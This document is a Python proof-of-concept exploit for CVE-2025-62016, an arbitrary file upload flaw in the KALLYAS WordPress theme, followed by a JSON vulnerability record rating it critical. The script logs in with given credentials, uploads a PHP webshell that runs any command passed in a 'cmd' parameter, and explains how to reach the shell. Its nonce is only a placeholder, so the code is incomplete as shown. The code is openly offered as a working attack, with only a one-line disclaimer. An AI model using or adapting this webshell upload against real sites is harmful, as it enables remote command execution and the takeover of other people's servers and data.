CVE-2025-62016

#!/usr/bin/env python3 """ CVE-2025-62016 PoC - KALLYAS Theme Arbitrary File Upload Note: This PoC is for educational and security research purposes only. """ import requests import sys def exploit_cve_2025_62016(target_url, username, password): """ Exploit KALLYAS theme arbitrary file upload vulnerability """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-62016: KALLYAS Theme File Upload\n") # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Attempting to login to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed. Please check credentials.") return False print("[+] Login successful!") # Prepare malicious PHP file (webshell) php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # Upload the malicious file upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': ('shell.php', php_payload, 'application/x-php'), } data = { 'action': 'kallyas_upload_file', 'nonce': 'exploit_nonce_here' # Would need valid nonce from page } print("[*] Attempting to upload malicious PHP file...") try: response = session.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: print("[+] File upload request sent!") print("[*] Check if shell was uploaded to /wp-content/uploads/ or theme directory") print("[*] If successful, access shell at: /path/to/shell.php?cmd=whoami") except Exception as e: print(f"[-] Error during upload: {e}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-62016-poc.py <target_url> <username> <password>") print("Example: python3 cve-2025-62016-poc.py http://example.com admin password") sys.exit(1) exploit_cve_2025_62016(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-62016", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:08.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in hogash KALLYAS kallyas.This issue affects KALLYAS: from n/a through <= 4.22.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kallyas/vulnerability/wordpress-kallyas-theme-4-22-0-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}